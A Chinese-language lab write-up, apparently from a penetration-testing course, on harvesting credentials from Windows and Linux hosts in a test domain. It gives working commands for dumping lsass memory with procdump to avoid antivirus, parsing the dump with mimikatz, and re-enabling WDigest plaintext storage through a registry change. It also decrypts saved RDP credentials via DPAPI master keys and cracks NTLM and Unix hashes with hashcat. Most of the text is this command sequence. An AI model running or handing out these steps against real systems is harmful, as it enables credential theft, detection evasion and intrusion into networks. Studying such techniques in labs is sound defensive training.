案例一: 明文获取-Windows-内存读取&离线读取&RDP保存&Hashcat
windows实验背景
微软为了防止明文密码泄露发布了补丁 KB2871997 ,关闭了 Wdigest 功能。当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码, 此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
实验环境 god.org
离线读取
mimikatz被拦截(木马程序)
首先先上线win2012运行获取明文密码
获取明文密码都为空,只能获取hash
利用微软官方工具,在本地离线破解密码
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
https://github.com/gentilkiwi/mimikatz
首先上传procdump程序,或者在本地设置代理运行
这个程序是微软工具,不会被杀,运行下面的命令,然后将生成的文件保存在本地
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
本地解密文件
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonPasswords full
不一定能读出来,如果没有利用密码登录过或者没有开启存储
这里如果存储了并且登录过就能获取到明文的账号密码
不存储+禁用mimikatz
win2012以上的主机可能不会存储
通过修改注册表+强制锁屏,等待用户输入账号密码来存储
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
执行命令之前的注册表
执行命令
执行完成以后
锁屏重新登录以后,利用mimikatz抓取密码就可以直接抓取到明文密码了
在此基础上如果mimikatz也被禁用了那么用刚才的方法就可以在本地导出来密码
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full
hash破解
虽然不能获得明文密码但是可以获得hash,可以直接利用网站进行破解
破解网站
RDP凭据抓取
当使用mstsc连接目标主机时往往为了方便会设置记住凭据按钮
利用win2012登录一次域控
查看连接记录的命令,这里在cs中运行时一定是你用哪个用户连接过,就用哪个用户测试
cmdkey /list
查看本地的Credentials值
dir /a %userprofile%\appdata\local\microsoft\credentials\*
Credentials记录guidMasterKey值:
mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\99149C3884E841134091082C3D675F52
这里值要对应上
记录MasterKey
把guidmasterkey对应的masterkey记录下来
3963b39b-eaf5-4817-ad25-a5b65367190c
运行这条命令的时候需要管理员身份
mimikatz sekurlsa::dpapi
找的时候可以复制到记事本,ctrl+f搜索
解密masterkey凭据
mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\Credentials值 /masterkey:masterkey值
mimikatz dpapi::cred /in:C:\Users\dbadmin\appdata\local\microsoft\credentials\99149C3884E841134091082C3D675F52 /masterkey:158efdc88d084af08d307b4071899fd4bfa5f47813ed7885043554c2374d7f5e7b8acfbbb1ad20d8463d32dfa65b48f6979c36d44c3860b39b8501e023c34ce1
hashcat破解
工具下载地址: https://hashcat.net/hashcat/
参考文章: https://www.cnblogs.com/Junglezt/p/16044372.html
windows
hashcat.exe -a 0 -m 1000 hash.txt pass.txt #-a 后面是爆破方式0代表字典爆破 -m后面是爆破数据的类型1000代表NTLM
爆破结果
使用掩码爆破方式,我的密码是admin!@#45
hashcat.exe -a 3 -m 1000 hash.txt ?l?l?l?l?l?s?s?s?d?d #代表五个小写字母,三个字符,两个数字
这里本来就是一个很吃设备的应用,我就不运行了,运行了一会声音很大^_^
linux
hashcat也可以破解linux密码
先查看密码
linux sha512crypt 6, SHA512 (Unix)加密方式:
hashcat -m 1800 sha512linux.txt p.txt
linux sha256crypt 5, SHA256 (Unix)加密方式:
hashcat -m 7400 sha256linux.txt p.txt
linux下md5crypt, MD5 (Unix), Cisco-IOS 1 (MD5)加密方式:
hashcat -m 500 linuxmd5.txt p.txt
inux下bcrypt 2\*, Blowfish加密方式:
hashcat -m 3200 linuxmd5.txt p.txt
破解
破解结果